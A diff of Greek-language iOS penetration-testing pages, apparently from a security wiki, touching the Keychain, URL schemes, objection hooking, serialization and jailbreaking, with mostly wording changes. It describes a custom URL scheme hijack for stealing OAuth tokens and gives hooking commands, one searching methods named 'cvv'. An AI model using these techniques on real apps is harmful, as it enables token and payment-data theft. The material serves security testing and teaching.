Το iOS προσφέρει στους προγραμματιστές τις **API Προστασίας Δεδομένων**, που είναι χτισμένες πάνω στον Secure Enclave Processor (SEP) — έναν ειδικό επεξεργαστή για κρυπτογραφικές λειτουργίες και διαχείριση κλειδιών. Ο SEP διασφαλίζει την ακεραιότητα της προστασίας των δεδομένων μέσω ενός μοναδικού κλειδιού που είναι συγκεκριμένο για τη συσκευή, του UID της συσκευής, που είναι ενσωματωμένο σε αυτόν.
|
||||
|
||||
Κατά τη δημιουργία αρχείου, παράγεται ένα μοναδικό κλειδί κρυπτογράφησης AES 256-bit, το οποίο κρυπτογραφεί το περιεχόμενο του αρχείου. Αυτό το κλειδί κρυπτογράφησης, μαζί με ένα ID κατηγορίας, κρυπτογραφείται στη συνέχεια χρησιμοποιώντας ένα κλειδί κατηγορίας και αποθηκεύεται στα μεταδεδομένα του αρχείου. Η αποκρυπτογράφηση ενός αρχείου περιλαμβάνει τη χρήση του κλειδιού του συστήματος για την πρόσβαση στα μεταδεδομένα, την ανάκτηση του κλειδιού κατηγορίας με το ID κατηγορίας και στη συνέχεια την αποκρυπτογράφηση του μοναδικού κλειδιού κρυπτογράφησης του αρχείου.
|
||||
|
||||
@ -32,9 +32,9 @@ python filedp.py /path/to/check
|
||||
```
|
||||
## **Το Keychain**
|
||||
|
||||
Στο iOS, ένα **Keychain** λειτουργεί ως ασφαλές **κρυπτογραφημένο δοχείο** για την αποθήκευση **ευαίσθητων πληροφοριών**, προσβάσιμες μόνο από την εφαρμογή που τις αποθήκευσε ή από αυτές που έχουν ρητά εξουσιοδοτηθεί. Αυτή η κρυπτογράφηση ενισχύεται από έναν μοναδικό **κωδικό πρόσβασης που δημιουργείται από το iOS**, ο οποίος είναι επίσης κρυπτογραφημένος με **AES**. Αυτή η διαδικασία κρυπτογράφησης αξιοποιεί μια **λειτουργία PBKDF2**, συνδυάζοντας τον κωδικό πρόσβασης του χρήστη με ένα αλάτι που προέρχεται από το **UID** της συσκευής, ένα στοιχείο που μπορεί να προσπελαστεί μόνο από το **secure enclave chipset**. Ως εκ τούτου, ακόμη και αν ο κωδικός πρόσβασης του χρήστη είναι γνωστός, το περιεχόμενο του Keychain παραμένει απρόσιτο σε οποιαδήποτε συσκευή εκτός από αυτήν στην οποία κρυπτογραφήθηκε αρχικά.
|
||||
Στο iOS, ένα **Keychain** λειτουργεί ως ασφαλές **κρυπτογραφημένο δοχείο** για την αποθήκευση **ευαίσθητων πληροφοριών**, προσβάσιμες μόνο από την εφαρμογή που τις αποθήκευσε ή από εκείνες που έχουν ρητά εξουσιοδοτηθεί. Αυτή η κρυπτογράφηση ενισχύεται από έναν μοναδικό **κωδικό πρόσβασης που δημιουργείται από το iOS**, ο οποίος είναι επίσης κρυπτογραφημένος με **AES**. Αυτή η διαδικασία κρυπτογράφησης αξιοποιεί μια **λειτουργία PBKDF2**, συνδυάζοντας τον κωδικό πρόσβασης του χρήστη με ένα salt που προέρχεται από το **UID** της συσκευής, ένα στοιχείο που μπορεί να προσπελαστεί μόνο από το **secure enclave chipset**. Ως εκ τούτου, ακόμη και αν ο κωδικός πρόσβασης του χρήστη είναι γνωστός, το περιεχόμενο του Keychain παραμένει μη προσβάσιμο σε οποιαδήποτε συσκευή εκτός από αυτήν στην οποία κρυπτογραφήθηκε αρχικά.
|
||||
|
||||
**Διαχείριση και πρόσβαση** στα δεδομένα του Keychain γίνονται από τον **`securityd` daemon**, με βάση συγκεκριμένες εξουσιοδοτήσεις εφαρμογής όπως `Keychain-access-groups` και `application-identifier`.
|
||||
**Διαχείριση και πρόσβαση** στα δεδομένα του Keychain γίνονται από το **`securityd` daemon**, με βάση συγκεκριμένες εξουσιοδοτήσεις εφαρμογής όπως `Keychain-access-groups` και `application-identifier`.
|
||||
|
||||
### **Λειτουργίες API του Keychain**
|
||||
|
||||
@ -45,13 +45,13 @@ python filedp.py /path/to/check
|
||||
- **`SecItemCopyMatching`**: Ανακτά ένα στοιχείο από το Keychain.
|
||||
- **`SecItemDelete`**: Αφαιρεί ένα στοιχείο από το Keychain.
|
||||
|
||||
Η βίαιη προσπάθεια αποκωδικοποίησης του κωδικού πρόσβασης του Keychain περιλαμβάνει είτε την επίθεση στο κρυπτογραφημένο κλειδί απευθείας είτε την προσπάθεια μαντεψιάς του κωδικού πρόσβασης στη συσκευή, εμποδισμένη σημαντικά από την επιβολή καθυστέρησης του secure enclave μεταξύ αποτυχημένων προσπαθειών.
|
||||
Η βίαιη παραβίαση του κωδικού πρόσβασης του Keychain περιλαμβάνει είτε την επίθεση στον κρυπτογραφημένο κωδικό απευθείας είτε την προσπάθεια μαντεψιάς του κωδικού πρόσβασης στη συσκευή, εμποδισμένη σημαντικά από την επιβολή καθυστέρησης του secure enclave μεταξύ αποτυχημένων προσπαθειών.
|
||||
|
||||
### **Ρύθμιση Προστασίας Δεδομένων Στοιχείων Keychain**
|
||||
|
||||
Τα επίπεδα προστασίας δεδομένων για τα στοιχεία του Keychain ορίζονται χρησιμοποιώντας το χαρακτηριστικό `kSecAttrAccessible` κατά τη δημιουργία ή την ενημέρωση στοιχείου. Αυτά τα επίπεδα, [όπως καθορίζεται από την Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), καθορίζουν πότε και πώς είναι προσβάσιμα τα στοιχεία του Keychain:
|
||||
|
||||
- **`kSecAttrAccessibleAlways`**: Προσβάσιμο οποιαδήποτε στιγμή, ανεξάρτητα από την κατάσταση κλειδώματος της συσκευής.
|
||||
- **`kSecAttrAccessibleAlways`**: Προσβάσιμο οποιαδήποτε στιγμή, ανεξαρτήτως κατάστασης κλειδώματος της συσκευής.
|
||||
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Πάντα προσβάσιμο, αλλά δεν περιλαμβάνεται σε αντίγραφα ασφαλείας.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlock`**: Προσβάσιμο μετά την πρώτη ξεκλείδωμα μετά την επανεκκίνηση.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Το ίδιο με παραπάνω, αλλά δεν είναι μετα transferable σε νέες συσκευές.
|
||||
@ -68,7 +68,7 @@ python filedp.py /path/to/check
|
||||
|
||||
### **Διαρκεια Δεδομένων Keychain**
|
||||
|
||||
Σε αντίθεση με τα δεδομένα που σχετίζονται με την εφαρμογή που διαγράφονται κατά την απεγκατάσταση της εφαρμογής, τα **δεδομένα του Keychain παραμένουν** στη συσκευή. Αυτή η χαρακτηριστική θα μπορούσε να επιτρέψει στους νέους ιδιοκτήτες μιας μεταχειρισμένης συσκευής να αποκτήσουν πρόσβαση στα δεδομένα της προηγούμενης εφαρμογής απλά επανεγκαθιστώντας τις εφαρμογές. Οι προγραμματιστές προειδοποιούνται να καθαρίζουν ενεργά τα δεδομένα του Keychain κατά την εγκατάσταση της εφαρμογής ή κατά την αποσύνδεση για να μετριάσουν αυτόν τον κίνδυνο. Ακολουθεί ένα παράδειγμα κώδικα Swift που δείχνει πώς να καθαρίσετε τα δεδομένα του Keychain κατά την πρώτη εκκίνηση της εφαρμογής:
|
||||
Σε αντίθεση με τα δεδομένα που σχετίζονται με την εφαρμογή που διαγράφονται κατά την απεγκατάσταση της εφαρμογής, τα **δεδομένα του Keychain παραμένουν** στη συσκευή. Αυτή η χαρακτηριστική θα μπορούσε να επιτρέψει στους νέους κατόχους μιας μεταχειρισμένης συσκευής να αποκτήσουν πρόσβαση στα δεδομένα της προηγούμενης εφαρμογής απλά επανεγκαθιστώντας τις εφαρμογές. Οι προγραμματιστές συνιστάται να καθαρίζουν ενεργά τα δεδομένα του Keychain κατά την εγκατάσταση της εφαρμογής ή κατά την αποσύνδεση για να μετριάσουν αυτόν τον κίνδυνο. Ακολουθεί ένα παράδειγμα κώδικα Swift που δείχνει πώς να καθαρίσετε τα δεδομένα του Keychain κατά την πρώτη εκκίνηση της εφαρμογής:
|
||||
```swift
|
||||
let userDefaults = UserDefaults.standard
|
||||
|
||||
@ -82,9 +82,9 @@ userDefaults.synchronize() // Forces the app to update UserDefaults
|
||||
```
|
||||
# **Δυνατότητες Εφαρμογής**
|
||||
|
||||
Στον τομέα της ανάπτυξης εφαρμογών, **sandboxing** παίζει κρίσιμο ρόλο στην ενίσχυση της ασφάλειας. Αυτή η διαδικασία διασφαλίζει ότι κάθε εφαρμογή λειτουργεί μέσα στον δικό της μοναδικό κατάλογο, αποτρέποντας έτσι την πρόσβαση σε αρχεία ή δεδομένα του συστήματος που ανήκουν σε άλλες εφαρμογές. Η επιβολή αυτών των περιορισμών πραγματοποιείται μέσω πολιτικών sandbox, οι οποίες είναι μέρος του **Trusted BSD (MAC) Mandatory Access Control Framework**.
|
||||
Στον τομέα της ανάπτυξης εφαρμογών, **sandboxing** παίζει κρίσιμο ρόλο στην ενίσχυση της ασφάλειας. Αυτή η διαδικασία διασφαλίζει ότι κάθε εφαρμογή λειτουργεί μέσα στον δικό της μοναδικό κατάλογο αρχείων, αποτρέποντας έτσι την πρόσβαση σε αρχεία συστήματος ή δεδομένα που ανήκουν σε άλλες εφαρμογές. Η επιβολή αυτών των περιορισμών πραγματοποιείται μέσω πολιτικών sandbox, οι οποίες είναι μέρος του **Trusted BSD (MAC) Mandatory Access Control Framework**.
|
||||
|
||||
Οι προγραμματιστές έχουν τη δυνατότητα να ρυθμίζουν ορισμένες **δυνατότητες ή άδειες** για τις εφαρμογές τους, όπως **Data Protection** ή **Keychain Sharing**. Αυτές οι άδειες εφαρμόζονται αμέσως μετά την εγκατάσταση της εφαρμογής. Παρ' όλα αυτά, για την πρόσβαση σε ορισμένους προστατευμένους πόρους, η εφαρμογή πρέπει να αποκτήσει ρητή συγκατάθεση από τον χρήστη κατά την πρώτη προσπάθεια. Αυτό επιτυγχάνεται μέσω της χρήσης _purpose strings_ ή _usage description strings_, οι οποίες παρουσιάζονται στους χρήστες σε μια ειδοποίηση αίτησης άδειας.
|
||||
Οι προγραμματιστές έχουν τη δυνατότητα να ρυθμίζουν ορισμένες **δυνατότητες ή άδειες** για τις εφαρμογές τους, όπως **Data Protection** ή **Keychain Sharing**. Αυτές οι άδειες εφαρμόζονται άμεσα μετά την εγκατάσταση της εφαρμογής. Παρ' όλα αυτά, για την πρόσβαση σε ορισμένους προστατευμένους πόρους, η εφαρμογή πρέπει να αποκτήσει ρητή συγκατάθεση από τον χρήστη κατά την πρώτη προσπάθεια. Αυτό επιτυγχάνεται μέσω της χρήσης _purpose strings_ ή _usage description strings_, οι οποίες παρουσιάζονται στους χρήστες σε μια ειδοποίηση αίτησης άδειας.
|
||||
|
||||
Για όσους έχουν πρόσβαση στον πηγαίο κώδικα, η επαλήθευση των αδειών που περιλαμβάνονται στο αρχείο `Info.plist` μπορεί να γίνει με:
|
||||
|
||||
@ -96,7 +96,7 @@ userDefaults.synchronize() // Forces the app to update UserDefaults
|
||||
|
||||
1. Αποσυμπιέστε το IPA.
|
||||
2. Εντοπίστε το αρχείο `Info.plist` μέσα στον κατάλογο `Payload/<appname>.app/`.
|
||||
3. Μετατρέψτε το αρχείο σε μορφή XML αν χρειαστεί, για ευκολότερη επιθεώρηση.
|
||||
3. Μετατρέψτε το αρχείο σε μορφή XML αν είναι απαραίτητο, για ευκολότερη επιθεώρηση.
|
||||
|
||||
Για παράδειγμα, οι purpose strings στο αρχείο `Info.plist` μπορεί να φαίνονται έτσι:
|
||||
```xml
|
||||
@ -107,7 +107,7 @@ userDefaults.synchronize() // Forces the app to update UserDefaults
|
||||
```
|
||||
## Δυνατότητες Συσκευής
|
||||
|
||||
Το αρχείο `Info.plist` μιας εφαρμογής καθορίζει **δυνατότητες συσκευής** που βοηθούν το App Store να φιλτράρει τις εφαρμογές για συμβατότητα συσκευών. Αυτές ορίζονται κάτω από το **`UIRequiredDeviceCapabilities`** κλειδί. Για παράδειγμα:
|
||||
Το αρχείο `Info.plist` μιας εφαρμογής καθορίζει **δυνατότητες συσκευής** που βοηθούν το App Store να φιλτράρει τις εφαρμογές για συμβατότητα με τη συσκευή. Αυτές ορίζονται κάτω από το **`UIRequiredDeviceCapabilities`** κλειδί. Για παράδειγμα:
|
||||
```xml
|
||||
<key>UIRequiredDeviceCapabilities</key>
|
||||
<array>
|
||||
|
||||
@ -18,9 +18,9 @@
|
||||
<string>url_scheme2</string>
|
||||
</array>
|
||||
```
|
||||
### Δοκιμή Χειρισμού και Επικύρωσης URL
|
||||
### Δοκιμή Διαχείρισης και Επικύρωσης URL
|
||||
|
||||
Οι προγραμματιστές θα πρέπει να εξετάσουν συγκεκριμένες μεθόδους στον πηγαίο κώδικα για να κατανοήσουν την κατασκευή και την επικύρωση διαδρομών URL, όπως `application:didFinishLaunchingWithOptions:` και `application:openURL:options:`. Για παράδειγμα, το Telegram χρησιμοποιεί διάφορες μεθόδους για το άνοιγμα URL:
|
||||
Οι προγραμματιστές θα πρέπει να εξετάσουν συγκεκριμένες μεθόδους στον πηγαίο κώδικα για να κατανοήσουν την κατασκευή και την επικύρωση των διαδρομών URL, όπως `application:didFinishLaunchingWithOptions:` και `application:openURL:options:`. Για παράδειγμα, το Telegram χρησιμοποιεί διάφορες μεθόδους για το άνοιγμα των URL:
|
||||
```swift
|
||||
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
@ -62,9 +62,9 @@ Watching for crashes from iGoat...
|
||||
No logs were moved.
|
||||
Opened URL: iGoat://?contactNumber=0&message=0
|
||||
```
|
||||
## Hijacking προσαρμοσμένων URL scheme
|
||||
## Hijacking προσαρμοσμένου URL scheme
|
||||
|
||||
Σύμφωνα με [**αυτή την ανάρτηση**](https://evanconnelly.github.io/post/ios-oauth/), κακόβουλες εφαρμογές θα μπορούσαν **να καταχωρήσουν προσαρμοσμένα schemes άλλων εφαρμογών,** στη συνέχεια η κακόβουλη εφαρμογή μπορεί να ανοίξει έναν περιηγητή που έχει όλα τα cookies της εφαρμογής Safari με [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters). 
|
||||
Σύμφωνα με [**αυτή την ανάρτηση**](https://evanconnelly.github.io/post/ios-oauth/), κακόβουλες εφαρμογές θα μπορούσαν **να καταχωρήσουν τα προσαρμοσμένα schemes άλλων εφαρμογών,** στη συνέχεια η κακόβουλη εφαρμογή μπορεί να ανοίξει έναν περιηγητή που έχει όλα τα cookies της εφαρμογής Safari με [ASWebAuthenticationSession](https://developer.apple.com/documentation/authenticationservices/aswebauthenticationsession/2990952-init#parameters). 
|
||||
|
||||
Με τον περιηγητή, η κακόβουλη εφαρμογή μπορεί να φορτώσει μια ιστοσελίδα ελεγχόμενη από τον επιτιθέμενο και το TCC θα ζητήσει από τον κινητό χρήστη άδειες για να ανοίξει αυτή την εφαρμογή. Στη συνέχεια, η κακόβουλη ιστοσελίδα θα μπορούσε να ανακατευθύνει σε μια σελίδα θύματος, για παράδειγμα, μια ροή OAuth με την παράμετρο `prompt=none`. Αν ο χρήστης ήταν ήδη συνδεδεμένος στη ροή OAuth, η ροή OAuth θα στείλει το μυστικό πίσω στην εφαρμογή θύματος χρησιμοποιώντας το προσαρμοσμένο scheme της εφαρμογής θύματος.\
|
||||
Ωστόσο, επειδή η κακόβουλη εφαρμογή το έχει επίσης καταχωρήσει και επειδή ο χρησιμοποιούμενος περιηγητής είναι μέσα στην κακόβουλη εφαρμογή, το προσαρμοσμένο scheme θα διαχειριστεί σε αυτή την περίπτωση από την κακόβουλη εφαρμογή, η οποία θα είναι σε θέση να κλέψει το OAuth token.
|
||||
|
||||
@ -183,17 +183,17 @@ ios hooking search methods cvv
|
||||
|
||||
Τώρα που έχετε **αριθμήσει τις κλάσεις και τις μονάδες** που χρησιμοποιούνται από την εφαρμογή, μπορεί να έχετε βρει μερικά **ενδιαφέροντα ονόματα κλάσεων και μεθόδων**.
|
||||
|
||||
## Hook όλες τις μεθόδους μιας κλάσης
|
||||
## Hook όλων των μεθόδων μιας κλάσης
|
||||
|
||||
- `ios hooking watch class <class_name>`: Hook όλες τις μεθόδους μιας κλάσης, καταγράψτε όλους τους αρχικούς παραμέτρους και τις επιστροφές
|
||||
- `ios hooking watch class <class_name>`: Hook όλες τις μεθόδους μιας κλάσης, dump όλων των αρχικών παραμέτρων και επιστροφών
|
||||
|
||||
```bash
|
||||
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
|
||||
```
|
||||
|
||||
## Hook μια συγκεκριμένη μέθοδο
|
||||
## Hook μιας συγκεκριμένης μεθόδου
|
||||
|
||||
- `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Hook μια συγκεκριμένη μέθοδο μιας κλάσης καταγράφοντας τις παραμέτρους, τις αναδρομές και τις επιστροφές της μεθόδου κάθε φορά που καλείται
|
||||
- `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Hook μιας συγκεκριμένης μεθόδου μιας κλάσης, dumping τις παραμέτρους, backtraces και επιστροφές της μεθόδου κάθε φορά που καλείται
|
||||
|
||||
```bash
|
||||
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Σειριοποίηση Αντικειμένων στην Ανάπτυξη iOS
|
||||
|
||||
Στην iOS, **η σειριοποίηση αντικειμένων** περιλαμβάνει τη μετατροπή αντικειμένων σε μια μορφή που μπορεί να αποθηκευτεί ή να μεταδοθεί εύκολα, και στη συνέχεια την ανακατασκευή τους από αυτή τη μορφή όταν χρειάζεται. Δύο κύρια πρωτόκολλα, **`NSCoding`** και **`NSSecureCoding`**, διευκολύνουν αυτή τη διαδικασία για τις υποκλάσεις Objective-C ή `NSObject`, επιτρέποντας στα αντικείμενα να σειριοποιούνται σε **`NSData`**, μια μορφή που περιτυλίγει τα byte buffers.
|
||||
Στην iOS, **η σειριοποίηση αντικειμένων** περιλαμβάνει τη μετατροπή αντικειμένων σε μια μορφή που μπορεί να αποθηκευτεί ή να μεταδοθεί εύκολα, και στη συνέχεια την ανακατασκευή τους από αυτή τη μορφή όταν χρειάζεται. Δύο κύρια πρωτόκολλα, **`NSCoding`** και **`NSSecureCoding`**, διευκολύνουν αυτή τη διαδικασία για τις υποκλάσεις Objective-C ή `NSObject`, επιτρέποντας στα αντικείμενα να σειριοποιούνται σε **`NSData`**, μια μορφή που περιβάλλει τα byte buffers.
|
||||
|
||||
### **`NSCoding`** Υλοποίηση
|
||||
|
||||
@ -27,7 +27,7 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
|
||||
```
|
||||
### **Ενίσχυση Ασφάλειας με το `NSSecureCoding`**
|
||||
|
||||
Για να μετριαστούν οι ευπάθειες όπου οι επιτιθέμενοι εισάγουν δεδομένα σε ήδη κατασκευασμένα αντικείμενα, το **`NSSecureCoding`** προσφέρει ένα ενισχυμένο πρωτόκολλο. Οι κλάσεις που συμμορφώνονται με το `NSSecureCoding` πρέπει να επαληθεύουν τον τύπο των αντικειμένων κατά την αποκωδικοποίηση, διασφαλίζοντας ότι μόνο οι αναμενόμενοι τύποι αντικειμένων δημιουργούνται. Ωστόσο, είναι κρίσιμο να σημειωθεί ότι ενώ το `NSSecureCoding` ενισχύει την ασφάλεια τύπων, δεν κρυπτογραφεί τα δεδομένα ή δεν διασφαλίζει την ακεραιότητά τους, απαιτώντας επιπλέον μέτρα για την προστασία ευαίσθητων πληροφοριών:
|
||||
Για να μετριαστούν οι ευπάθειες όπου οι επιτιθέμενοι εισάγουν δεδομένα σε ήδη κατασκευασμένα αντικείμενα, το **`NSSecureCoding`** προσφέρει ένα ενισχυμένο πρωτόκολλο. Οι κλάσεις που συμμορφώνονται με το `NSSecureCoding` πρέπει να επαληθεύουν τον τύπο των αντικειμένων κατά την αποκωδικοποίηση, διασφαλίζοντας ότι μόνο οι αναμενόμενοι τύποι αντικειμένων δημιουργούνται. Ωστόσο, είναι κρίσιμο να σημειωθεί ότι ενώ το `NSSecureCoding` ενισχύει την ασφάλεια τύπου, δεν κρυπτογραφεί τα δεδομένα ή δεν διασφαλίζει την ακεραιότητά τους, απαιτώντας πρόσθετα μέτρα για την προστασία ευαίσθητων πληροφοριών:
|
||||
```swift
|
||||
static var supportsSecureCoding: Bool {
|
||||
return true
|
||||
@ -35,7 +35,7 @@ return true
|
||||
|
||||
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
|
||||
```
|
||||
## Αρχειοθέτηση Δεδομένων με `NSKeyedArchiver`
|
||||
## Αρχειοθέτηση Δεδομένων με το `NSKeyedArchiver`
|
||||
|
||||
`NSKeyedArchiver` και ο αντίστοιχός του, `NSKeyedUnarchiver`, επιτρέπουν την κωδικοποίηση αντικειμένων σε ένα αρχείο και την αργότερα ανάκτησή τους. Αυτός ο μηχανισμός είναι χρήσιμος για τη διατήρηση αντικειμένων:
|
||||
```swift
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
Μια **provisioning identity** είναι μια συλλογή δημόσιων και ιδιωτικών κλειδιών που σχετίζονται με έναν λογαριασμό προγραμματιστή της Apple. Για να **υπογράψετε εφαρμογές** πρέπει να πληρώσετε **99$/χρόνο** για να εγγραφείτε στο **Apple Developer Program** για να αποκτήσετε την provisioning identity σας. Χωρίς αυτό δεν θα μπορείτε να εκτελέσετε εφαρμογές από τον πηγαίο κώδικα σε μια φυσική συσκευή. Μια άλλη επιλογή είναι να χρησιμοποιήσετε μια **jailbroken συσκευή**.
|
||||
|
||||
Από την έκδοση Xcode 7.2, η Apple έχει παρέχει μια επιλογή για τη δημιουργία ενός **δωρεάν προφίλ ανάπτυξης iOS** που επιτρέπει να γράφετε και να δοκιμάζετε την εφαρμογή σας σε ένα πραγματικό iPhone. Πηγαίνετε στο _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Προσθέστε νέο Appli ID με τα διαπιστευτήριά σας) --> _Κάντε κλικ στο Apple ID που δημιουργήθηκε_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
|
||||
\_\_Στη συνέχεια, για να εκτελέσετε την εφαρμογή σας στο iPhone σας, πρέπει πρώτα να **υποδείξετε το iPhone να εμπιστεύεται τον υπολογιστή.** Στη συνέχεια, μπορείτε να προσπαθήσετε να **εκτελέσετε την εφαρμογή στο κινητό από το Xcode,** αλλά θα εμφανιστεί ένα σφάλμα. Έτσι, πηγαίνετε στο _Settings_ --> _General_ --> _Profiles and Device Management_ --> Επιλέξτε το μη αξιόπιστο προφίλ και κάντε κλικ στο "**Trust**".
|
||||
\_\_Στη συνέχεια, για να εκτελέσετε την εφαρμογή σας στο iPhone σας, πρέπει πρώτα να **υποδείξετε το iPhone να εμπιστευτεί τον υπολογιστή.** Στη συνέχεια, μπορείτε να προσπαθήσετε να **εκτελέσετε την εφαρμογή στο κινητό από το Xcode,** αλλά θα εμφανιστεί ένα σφάλμα. Έτσι, πηγαίνετε στο _Settings_ --> _General_ --> _Profiles and Device Management_ --> Επιλέξτε το μη αξιόπιστο προφίλ και κάντε κλικ στο "**Trust**".
|
||||
|
||||
Σημειώστε ότι **οι εφαρμογές που υπογράφονται με το ίδιο πιστοποιητικό υπογραφής μπορούν να μοιράζονται πόρους με ασφαλή τρόπο, όπως στοιχεία keychain**.
|
||||
|
||||
@ -23,7 +23,7 @@
|
||||
Το πρώτο πράγμα που πρέπει να γνωρίζετε είναι ότι **η εκτέλεση ενός pentest μέσα σε έναν simulator θα είναι πολύ πιο περιορισμένη από το να το κάνετε σε μια jailbroken συσκευή**.
|
||||
|
||||
Όλα τα εργαλεία που απαιτούνται για την κατασκευή και υποστήριξη μιας εφαρμογής iOS υποστηρίζονται **μόνο επίσημα σε Mac OS**.\
|
||||
Το de facto εργαλείο της Apple για τη δημιουργία/αποσφαλμάτωση/εργαλειοποίηση εφαρμογών iOS είναι το **Xcode**. Μπορεί να χρησιμοποιηθεί για να κατεβάσετε άλλα συστατικά όπως **simulators** και διαφορετικές **SDK** **versions** που απαιτούνται για να κατασκευάσετε και να **δοκιμάσετε** την εφαρμογή σας.\
|
||||
Το de facto εργαλείο της Apple για τη δημιουργία/αποσφαλμάτωση/εργαλειοποίηση εφαρμογών iOS είναι το **Xcode**. Μπορεί να χρησιμοποιηθεί για να κατεβάσετε άλλα συστατικά όπως **simulators** και διαφορετικές **SDK** **εκδόσεις** που απαιτούνται για να κατασκευάσετε και να **δοκιμάσετε** την εφαρμογή σας.\
|
||||
Συνιστάται έντονα να **κατεβάσετε** το Xcode από το **επίσημο app store**. Άλλες εκδόσεις μπορεί να περιέχουν κακόβουλο λογισμικό.
|
||||
|
||||
Τα αρχεία του simulator μπορούν να βρεθούν στο `/Users/<username>/Library/Developer/CoreSimulator/Devices`
|
||||
@ -37,7 +37,7 @@
|
||||
|
||||
### Applications in the Simulator
|
||||
|
||||
Μέσα στο `/Users/<username>/Library/Developer/CoreSimulator/Devices` μπορείτε να βρείτε όλους τους **εγκατεστημένους simulators**. Αν θέλετε να αποκτήσετε πρόσβαση στα αρχεία μιας εφαρμογής που έχει δημιουργηθεί μέσα σε έναν από τους emulators, μπορεί να είναι δύσκολο να γνωρίζετε **σε ποιον είναι εγκατεστημένη η εφαρμογή**. Ένας γρήγορος τρόπος για να **βρείτε το σωστό UID** είναι να εκτελέσετε την εφαρμογή στον simulator και να εκτελέσετε:
|
||||
Μέσα στο `/Users/<username>/Library/Developer/CoreSimulator/Devices` μπορείτε να βρείτε όλους τους **εγκατεστημένους simulators**. Αν θέλετε να αποκτήσετε πρόσβαση στα αρχεία μιας εφαρμογής που δημιουργήθηκε μέσα σε έναν από τους emulators, μπορεί να είναι δύσκολο να γνωρίζετε **σε ποιον είναι εγκατεστημένη η εφαρμογή**. Ένας γρήγορος τρόπος για να **βρείτε το σωστό UID** είναι να εκτελέσετε την εφαρμογή στον simulator και να εκτελέσετε:
|
||||
```bash
|
||||
xcrun simctl list | grep Booted
|
||||
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
||||
@ -67,11 +67,11 @@ iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
||||
|
||||
Ενώ συχνά συγκρίνονται, το **rooting** στο Android και το **jailbreaking** στο iOS είναι θεμελιωδώς διαφορετικές διαδικασίες. Το rooting των συσκευών Android μπορεί να περιλαμβάνει **την εγκατάσταση του δυαδικού `su`** ή **την αντικατάσταση του συστήματος με ένα προσαρμοσμένο ROM με root**, το οποίο δεν απαιτεί απαραίτητα εκμεταλλεύσεις αν ο bootloader είναι ξεκλειδωμένος. **Η αναλαμπή προσαρμοσμένων ROM** αντικαθιστά το λειτουργικό σύστημα της συσκευής μετά την απελευθέρωση του bootloader, απαιτώντας μερικές φορές μια εκμετάλλευση.
|
||||
|
||||
Αντίθετα, οι συσκευές iOS δεν μπορούν να αναβοσβήνουν προσαρμοσμένα ROM λόγω του περιορισμού του bootloader να εκκινεί μόνο εικόνες υπογεγραμμένες από την Apple. **Το jailbreaking iOS** στοχεύει να παρακάμψει τις προστασίες υπογραφής κώδικα της Apple για να εκτελέσει μη υπογεγραμμένο κώδικα, μια διαδικασία που περιπλέκεται από τις συνεχείς βελτιώσεις ασφαλείας της Apple.
|
||||
Αντίθετα, οι συσκευές iOS δεν μπορούν να αναβοσβήσουν προσαρμοσμένα ROM λόγω του περιορισμού του bootloader να εκκινεί μόνο εικόνες υπογεγραμμένες από την Apple. **Το jailbreaking iOS** στοχεύει να παρακάμψει τις προστασίες υπογραφής κώδικα της Apple για να εκτελέσει μη υπογεγραμμένο κώδικα, μια διαδικασία που περιπλέκεται από τις συνεχείς βελτιώσεις ασφαλείας της Apple.
|
||||
|
||||
### Jailbreaking Challenges
|
||||
|
||||
Το jailbreaking iOS είναι ολοένα και πιο δύσκολο καθώς η Apple διορθώνει τις ευπάθειες γρήγορα. **Η υποβάθμιση του iOS** είναι δυνατή μόνο για περιορισμένο χρονικό διάστημα μετά από μια κυκλοφορία, καθιστώντας το jailbreaking μια ευαίσθητη χρονικά υπόθεση. Οι συσκευές που χρησιμοποιούνται για δοκιμές ασφαλείας δεν πρέπει να ενημερώνονται εκτός αν διασφαλίζεται η επαναφορά του jailbreaking.
|
||||
Το jailbreaking iOS είναι ολοένα και πιο δύσκολο καθώς η Apple διορθώνει τις ευπάθειες γρήγορα. **Η υποβάθμιση του iOS** είναι δυνατή μόνο για περιορισμένο χρονικό διάστημα μετά από μια κυκλοφορία, καθιστώντας το jailbreaking μια ευαίσθητη χρονικά υπόθεση. Οι συσκευές που χρησιμοποιούνται για δοκιμές ασφαλείας δεν πρέπει να ενημερώνονται εκτός αν διασφαλιστεί ότι η επανα-εξαίρεση είναι εγγυημένη.
|
||||
|
||||
Οι ενημερώσεις iOS ελέγχονται από έναν **μηχανισμό πρόκλησης-απάντησης** (SHSH blobs), επιτρέποντας την εγκατάσταση μόνο για υπογεγραμμένες απαντήσεις από την Apple. Αυτός ο μηχανισμός, γνωστός ως "παράθυρο υπογραφής", περιορίζει την ικανότητα αποθήκευσης και μετέπειτα χρήσης πακέτων OTA firmware. Ο ιστότοπος [IPSW Downloads](https://ipsw.me) είναι μια πηγή για τον έλεγχο των τρεχουσών παραθύρων υπογραφής.
|
||||
|
||||
@ -79,8 +79,8 @@ iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
||||
|
||||
- **Tethered jailbreaks** απαιτούν σύνδεση υπολογιστή για κάθε επανεκκίνηση.
|
||||
- **Semi-tethered jailbreaks** επιτρέπουν την εκκίνηση σε μη jailbroken λειτουργία χωρίς υπολογιστή.
|
